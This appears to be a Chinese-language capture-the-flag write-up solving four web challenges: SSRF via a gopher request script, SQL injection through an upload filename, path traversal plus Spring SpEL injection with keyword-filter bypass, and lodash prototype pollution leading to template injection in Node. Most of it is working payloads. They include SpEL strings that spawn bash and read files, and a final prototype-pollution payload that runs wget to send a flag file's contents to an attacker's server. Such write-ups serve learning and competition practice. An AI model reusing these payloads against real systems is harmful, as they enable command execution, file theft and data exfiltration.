# Sign_in(ssrf)
读 /etc/hosts
发现内网 ip
扫一下内网主机
发现有东西
利用 gopher 协议传进去,gopher 脚本
import urllib.parse | |
payload =\ | |
""" | |
POST /index.php?a=1 HTTP/1.1 | |
Host: 127.0.0.1 | |
Content-Type: application/x-www-form-urlencoded | |
X-Forwarded-For:127.0.0.1 | |
referer:bolean.club | |
Content-Length: 3 | |
b=1 | |
""" | |
tmp = urllib.parse.quote(payload) | |
new = tmp.replace('%0A','%0D%0A') | |
result = 'gopher://172.73.23.100:80/'+'_'+new | |
result = urllib.parse.quote(result) | |
print(result) # 因为是 GET 请求所以要进行两次 url 编码 |
payload
gopher%3A//172.73.23.100%3A80/_%250D%250APOST%2520/index.php%253Fa%253D1%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25203%250D%250AX-Real-IP%253A%2520127.0.0.1%250D%250AX-Forwarded-For%253A%2520127.0.0.1%250D%250AReferer% | |
253A%2520bolean.club%250D%250A%250D%250Ab%253D1%250D%250A |
# upload (sql)
在文件名中插入语句
先查询左边一部分
’ or updatexml(1,concat(0x7e,(select flag from flag)),0) or’ |
再查询右边一部分
’ or updatexml(1,concat(0x7e,(select right(flag,10)from flag)),0) or’ |
组合一下就行了
# ez_java(spel)
此处任意文件下载,但是没想到 ../
显示 invalid filename
, ../../../
可以,难蚌
读 web.xml
web.xml
<?xml version="1.0" encoding="UTF-8"?> | |
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" | |
version="4.0"> | |
<servlet> | |
<servlet-name>DownloadServlet</servlet-name> | |
<servlet-class>com.abc.servlet.DownloadServlet</servlet-class> | |
</servlet> | |
<servlet-mapping> | |
<servlet-name>DownloadServlet</servlet-name> | |
<url-pattern>/download</url-pattern> | |
</servlet-mapping> | |
<servlet> | |
<servlet-name>TestServlet</servlet-name> | |
<servlet-class>com.abc.servlet.TestServlet</servlet-class> | |
</servlet> | |
<servlet-mapping> | |
<servlet-name>TestServlet</servlet-name> | |
<url-pattern>/test388</url-pattern> | |
</servlet-mapping> | |
</web-app> |
发现有一个 TestServlet
,读取
http://124.222.24.150:8023/download?filename=../../../classes/com/abc/servlet/TestServlet.class |
// | |
// Source code recreated from a .class file by IntelliJ IDEA | |
// (powered by FernFlower decompiler) | |
// | |
package com.abc.servlet; | |
import java.io.IOException; | |
import java.util.regex.Matcher; | |
import java.util.regex.Pattern; | |
import javax.servlet.ServletException; | |
import javax.servlet.http.HttpServlet; | |
import javax.servlet.http.HttpServletRequest; | |
import javax.servlet.http.HttpServletResponse; | |
import org.springframework.expression.Expression; | |
import org.springframework.expression.ParserContext; | |
import org.springframework.expression.common.TemplateParserContext; | |
import org.springframework.expression.spel.standard.SpelExpressionParser; | |
import org.springframework.expression.spel.support.StandardEvaluationContext; | |
public class TestServlet extends HttpServlet { | |
public TestServlet() { | |
} | |
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { | |
this.doPost(req, resp); | |
} | |
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { | |
try { | |
String name = request.getParameter("name"); | |
name = new String(name.getBytes("ISO8859-1"), "UTF-8"); | |
if (this.blackMatch(name)) { | |
request.setAttribute("message", "name is invalid"); | |
request.getRequestDispatcher("/message.jsp").forward(request, response); | |
return; | |
} | |
System.out.println(name); | |
String message = this.getAdvanceValue(name); | |
request.setAttribute("message", message); | |
request.getRequestDispatcher("/message.jsp").forward(request, response); | |
} catch (Exception var5) { | |
request.setAttribute("message", "error"); | |
request.getRequestDispatcher("/message.jsp").forward(request, response); | |
} | |
} | |
private boolean blackMatch(String val) { | |
String[] var2 = this.getBlacklist(); | |
int var3 = var2.length; | |
for(int var4 = 0; var4 < var3; ++var4) { | |
String keyword = var2[var4]; | |
Matcher matcher = Pattern.compile(keyword, 34).matcher(val); | |
if (matcher.find()) { | |
return true; | |
} | |
} | |
return false; | |
} | |
private String getAdvanceValue(String val) { | |
ParserContext parserContext = new TemplateParserContext(); | |
SpelExpressionParser parser = new SpelExpressionParser(); | |
Expression exp = parser.parseExpression(val, parserContext); | |
StandardEvaluationContext evaluationContext = new StandardEvaluationContext(); | |
return exp.getValue(evaluationContext).toString(); | |
} | |
private String[] getBlacklist() { | |
return new String[]{"java.+lang", "Runtime", "exec.*\\("}; | |
} | |
} |
简单的 spel
,随便找一下 payload
name=#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("bash","-c","{echo,bHMgL3xiYXNlNjQ=}|{base64,-d}|{bash,-i}").start().getInputStream(), "gbk")).readLine()} |
name=#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cat","/f1AgJvav").start().getInputStream(), "gbk")).readLine()} |
注意如果命令是 ls /
只会显示一行
# ez_node
# 环境搭建
题目给了源码,本地用 vscode 搭个 debug 环境
cnpm init | |
cnpm intall | |
//node server.js | |
//launch.json | |
{ | |
"version": "0.2.0", | |
"configurations": [ | |
{ | |
"type": "node", | |
"request": "launch", | |
"name": "启动程序", | |
"skipFiles": [ | |
"<node_internals>/**" | |
], | |
"program": "${workspaceFolder}\\server.js" | |
} | |
] | |
} |
# 原型链污染与模板注入
lodash
原型链污染
lodash.template
模板注入
感觉和 ssti spel
绕过关键词过滤差不多
空格用 $IFS$9
, 分号用 // 代替闭合语句
{ | |
"__proto__":{ | |
"sourceURL": | |
"\nglobal.process.mainModule.constructor._load('child_process')['ex'+'ec']('wge'+'t$IFS$9http://vps地址/\u0060ta\\c$IFS$9/.[f]lag\u0060')//" | |
} | |
} |